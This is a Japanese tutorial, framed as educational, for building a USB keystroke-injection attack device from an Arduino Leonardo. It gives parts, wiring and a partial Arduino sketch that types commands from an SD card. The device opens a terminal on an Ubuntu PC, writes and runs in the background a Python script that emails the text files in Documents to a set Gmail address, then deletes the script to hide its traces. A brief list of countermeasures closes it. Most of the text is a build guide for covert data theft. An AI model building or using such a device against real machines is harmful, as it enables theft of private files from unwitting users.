USB HID 攻撃の防止：Arduino Leonardo キーボードエクスプロイト実演

必要な部品と材料

部品名	数量
Arduino Leonardo	1
microSD カードリーダー	1
microSD カード（数 GB）	1
タクトスイッチ（3ピン、抵抗内蔵タイプ：VCC、GND、信号）	1
ジャンパーワイヤー（オス-メス、メス-メス）	1式
USB-A - microUSB ケーブル	1

プロジェクト概要

Arduino Leonardo の HID（Human Interface Device）機能を用いて、キーボード入力をエミュレートする USB 攻撃デバイスの概念実証（PoC）を行います。このチュートリアルは攻撃を助長するものではなく、実際の脅威を理解し、防御策を講じるための教育目的で作成されています。

学習内容

• Arduino Leonardo でキーボードをエミュレートする方法
• SD カードからデータを読み取る方法
• ファイルをスキャンしてメール送信する Python スクリプトの作成
• USB ハッキングデバイスから身を守る方法

ステップ 1: 材料の準備

上記部品リストを参照。はんだ付け不要でブレッドボード上に組み立て可能です。

ステップ 2: デバイスの組み立て

動作原理

Leonardo は HID として振る舞えるため、マウスやキーボードをエミュレート可能。この機能を使ってターゲット PC（Ubuntu Linux）で端末を開き、ホームディレクトリ内のテキストファイルを収集・メール送信するスクリプトを実行させます。

組み立て手順

1. microUSB ケーブルを Leonardo に接続
2. タクトスイッチを接続：GND、VCC、信号線を D8 に
3. SD カードリーダーを ICSP ヘッダー経由で接続（Leonardo は ICSP がデジタルピンに繋がっていないため）。SS ピンを D10 に接続
4. Arduino コードをアップロード（ボーレート 9600、Leonardo 選択）
5. SD カードを FAT16/32 でフォーマット
6. hack.txt を SD カードにコピー（後述）
7. コード内のメール設定（送信元/宛先/パスワード）を書き換え
8. SD カードをリーダーに挿入

ステップ 3: 詳細な動作解説

攻撃の流れ

ボタン押下時、Leonardo は SD カードから hack.txt を読み取り、行ごとに解釈してキーボード入力をエミュレートします。

hack.txt には生のテキスト、および特殊コマンドが含まれます：

• Sleep::200 → 200ms 待機
• Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t → Ctrl+Alt+T 同時押し（端末起動）

実行される一連の操作（Ubuntu 向け）：

1. Ctrl+Alt+T で端末を開く
2. vi hack.py で Python スクリプト作成
3. ホームディレクトリの Documents 内 *.txt を収集し、指定 Gmail アドレスへ送信するスクリプトを書き込み
4. nohup python hack.py & でバックグラウンド実行
5. rm -rf hack.py で痕跡を削除
6. Alt+F4 で端末を閉じる

全工程が数秒で完了し、痕跡を残しません。

ステップ 4: 対策

1. USB ポートの無効化（Windows: グループポリシー、BIOS 設定等）
2. USB デバイスのホワイトリスト化（許可されたデバイスのみ接続可能に）
3. 離席時は画面ロック
4. root/Administrator 権限で常時作業しない（インストールにパスワード必須）
5. OS とソフトウェアを常に最新に保つ（自動更新有効化）

コード（主要部分）

#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"

String filenameOnCard = "hack.txt";
String sleepCmd = "Sleep::";
String cmdPrefix = "Command::";
int delayBetween = 10;
const int buttonPin = 8;
const int chipSelect = 10;
int prevButtonState = HIGH;

void setup() {
  pinMode(buttonPin, INPUT);
  Serial.begin(9600);
  Keyboard.begin();
  if (!SD.begin(chipSelect)) {
    Serial.println("Card failed!");
    return;
  }
}

void loop() {
  int btn = digitalRead(buttonPin);
  if (btn != prevButtonState && btn == HIGH) {
    sdFileToKeyboard();
    Serial.println("Uploaded!");
    delay(500);
  }
  prevButtonState = btn;
}

void sdFileToKeyboard() {
  File f = SD.open(filenameOnCard);
  if (!f) { Serial.println("File not found"); return; }
  while (f.available()) {
    String line = f.readStringUntil('\n');
    sendToKeyboard(line);
  }
  f.close();
}

void sendToKeyboard(String line) {
  if (line.indexOf(sleepCmd) != -1) { sleepFor(line); return; }
  if (line.indexOf(cmdPrefix) == -1) {
    Keyboard.println(line); pressEnter(); return;
  }
  // Command:: 解析処理...
  Keyboard.releaseAll();
}

void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); }

void sleepFor(String line) {
  int ms = line.substring(sleepCmd.length()).toInt();
  delay(ms);
}

char getCommandCode(String cmd) {
  // KEY_LEFT_CTRL, KEY_LEFT_SHIFT, KEY_LEFT_ALT, KEY_F1〜F12 等にマッピング
  // 実装はオリジナルコードを参照
}

回路図

Fritzing 形式の回路図（sketch.fzz）を提供。Leonardo、SDカードリーダー（ICSP接続）、タクトスイッチ（D8）の接続を示す。